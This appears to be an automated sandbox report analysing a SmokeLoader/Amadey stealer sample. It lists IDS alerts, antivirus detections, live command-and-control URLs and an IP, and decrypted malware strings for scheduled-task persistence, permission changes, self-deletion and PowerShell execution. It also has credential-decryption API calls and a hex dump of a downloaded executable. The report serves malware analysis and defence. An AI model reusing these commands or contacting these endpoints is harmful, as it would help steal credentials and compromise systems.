Timestamp:	04/09/24-14:54:10.655809
SID:	2856151
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:10.942323
SID:	2855239
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:11.625073
SID:	2044597
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:14.059259
SID:	2044597
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:22.899083
SID:	2044597
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:25.088071
SID:	2044597
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:02.339693
SID:	2039103
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:04.555191
SID:	2044597
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Amadey Stealer Activity M5 (POST) - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:12.672268
SID:	2855240
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:16.384630
SID:	2044597
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:04.377071
SID:	2856147
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:07.168184
SID:	2044597
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:18.819999
SID:	2044597
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: e7CLP6462y.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://atillapro.com/vsdjcn3khS/index.php?wal=1	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/index.php?scr=1	Avira URL Cloud: Label: malware
Source: http://atillapro.com/Mozilla/5.0	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	Avira URL Cloud: Label: malware
Source: atillapro.com/vsdjcn3khS/index.php	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/index.php	Avira URL Cloud: Label: malware
Source: https://atillapro.com/	Avira URL Cloud: Label: malware
Source: http://atillapro.com/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\B677.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Avira: detection malicious, Label: TR/PSW.Agent.uwaig
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Avira: detection malicious, Label: TR/Agent.ktqfn
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	Avira: detection malicious, Label: TR/PSW.Agent.uwaig
Source: C:\Users\user\AppData\Roaming\utihrjr	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Avira: detection malicious, Label: TR/AD.Nekark.nsorh
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Avira: detection malicious, Label: TR/AD.Nekark.nsorh
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	Avira: detection malicious, Label: TR/Agent.ktqfn

Found malware configuration

Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://atillapro.com/", "https://atillapro.com/"]}
Source: 21.0.Utsysc.exe.eb0000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "atillapro.com/vsdjcn3khS/index.php", "Version": "4.12"}

Multi AV Scanner detection for domain / URL

Source: atillapro.com	Virustotal: Detection: 16%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	Virustotal: Detection: 12%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php?wal=1	Virustotal: Detection: 12%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php?scr=1	Virustotal: Detection: 12%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	Virustotal: Detection: 12%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://atillapro.com/Mozilla/5.0	Virustotal: Detection: 12%	Perma Link
Source: atillapro.com/vsdjcn3khS/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://atillapro.com/	Virustotal: Detection: 16%	Perma Link
Source: https://atillapro.com/	Virustotal: Detection: 15%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Virustotal: Detection: 70%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\B677.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Virustotal: Detection: 67%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Virustotal: Detection: 75%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Virustotal: Detection: 75%	Perma Link
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	Virustotal: Detection: 70%	Perma Link

Multi AV Scanner detection for submitted file

Source: e7CLP6462y.exe

ReversingLabs: Detection: 57%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\utihrjr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: atillapro.com
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: /vsdjcn3khS/index.php
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: S-%lu-
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: bb8ef99577
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Utsysc.exe
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SCHTASKS
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: /TR "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Startup
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: rundll32
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: /Delete /TN "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Programs
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: %USERPROFILE%
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: http://
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: https://
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: /Plugins/
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: &unit=
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: shell32.dll
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: kernel32.dll
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: ProgramData\
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: AVAST Software
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Kaspersky Lab
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Panda Security
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Doctor Web
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: 360TotalSecurity
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Bitdefender
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Norton
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Sophos
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Comodo
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: WinDefender
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: 0123456789
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: ------
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: ?scr=1
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: ComputerName
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: -unicode-
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: VideoID
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: ProductName
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: CurrentBuild
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: " /P "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: CACLS "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: :R" /E
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: :F" /E
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: &&Exit
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: rundll32.exe
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: "taskkill /f /im "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: " && timeout 1 && del
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: && Exit"
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: " && ren
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: Powershell.exe
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 21.0.Utsysc.exe.eb0000.0.unpack	String decryptor: shutdown -s -t 0

Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EDFF7C CryptUnprotectData,	2_3_00007DF486EDFF7C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	17_2_00BF3098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	17_2_00BF3717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF3E04 RtlCompareMemory,CryptUnprotectData,	17_2_00BF3E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF1198 CryptBinaryToStringA,CryptBinaryToStringA,	17_2_00BF1198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	17_2_00BF11E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	17_2_00BF123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF1FCE CryptUnprotectData,RtlMoveMemory,	17_2_00BF1FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_004D26AC lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	22_2_004D26AC

Source: e7CLP6462y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831[ source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdbi source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Spaso\Documents\SuperSonicMaster\SuperSonicMaster\obj\x64\Release\SuperSonicMaster.pdb source: OpenWith.exe, 00000002.00000003.1977606668.000002427DA81000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977509222.000002427DD2B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027404955.0000018E5F34A000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027486844.0000018E5F5A0000.00000004.08000000.00040000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027635250.0000018E5F781000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	17_2_00BF2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	17_2_00BF1D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	17_2_00BF3ED9
Source: C:\Windows\explorer.exe	Code function: 20_2_009E30A8 FindFirstFileW,FindNextFileW,FindClose,	20_2_009E30A8
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EF158F FindFirstFileExW,_free,FindNextFileW,_free,FindClose,_free,	21_2_00EF158F
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_004D255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose,	22_2_004D255C

Source: C:\Windows\System32\OpenWith.exe

Code function: 2_3_00007DF486EE8E20 GetLogicalDriveStringsW,

2_3_00007DF486EE8E20

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft	Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Code function: 4x nop then dec esp	2_3_00007DF486EEBFA1
Source: C:\Windows\System32\OpenWith.exe	Code function: 4x nop then dec esp	2_2_000002427BB70511
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 4x nop then dec esp	6_2_0000018E5D845641

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49739 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49740 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49740 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2856151 ETPRO TROJAN Amadey CnC Activity M7 192.168.2.4:49747 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2855239 ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) 192.168.2.4:49749 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49744 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2855240 ETPRO TROJAN Win32/Amadey Stealer Activity M5 (POST) 192.168.2.4:49749 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49751 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49755 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49759 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49763 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49767 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49770 -> 185.196.8.137:80
Source: Traffic	Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49774 -> 185.196.8.137:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 185.196.8.137 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://atillapro.com/
Source: Malware configuration extractor	URLs: https://atillapro.com/
Source: Malware configuration extractor	URLs: atillapro.com/vsdjcn3khS/index.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Apr 2024 12:54:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 09 Apr 2024 00:43:24 GMTETag: "133000-6159f35a817ba"Accept-Ranges: bytesContent-Length: 1257472Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 f3 4d 23 75 92 23 70 75 92 23 70 75 92 23 70 2e fa 27 71 67 92 23 70 2e fa 20 71 7e 92 23 70 2e fa 26 71 c5 92 23 70 a0 ff 26 71 33 92 23 70 a0 ff 27 71 7a 92 23 70 a0 ff 20 71 7c 92 23 70 2e fa 22 71 78 92 23 70 75 92 22 70 b4 92 23 70 ee fc 2a 71 71 92 23 70 ee fc 23 71 74 92 23 70 ee fc dc 70 74 92 23 70 ee fc 21 71 74 92 23 70 52 69 63 68 75 92 23 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 48 e1 4f 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 5c 0f 00 00 1c 04 00 00 00 00 00 48 b1 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 13 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 21 12 00 58 00 00 00 78 21 12 00 8c 00 00 00 00 90 13 00 f8 00 00 00 00 d0 12 00 98 ac 00 00 00 00 00 00 00 00 00 00 00 a0 13 00 e0 15 00 00 c0 37 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 38 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 70 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 5a 0f 00 00 10 00 00 00 5c 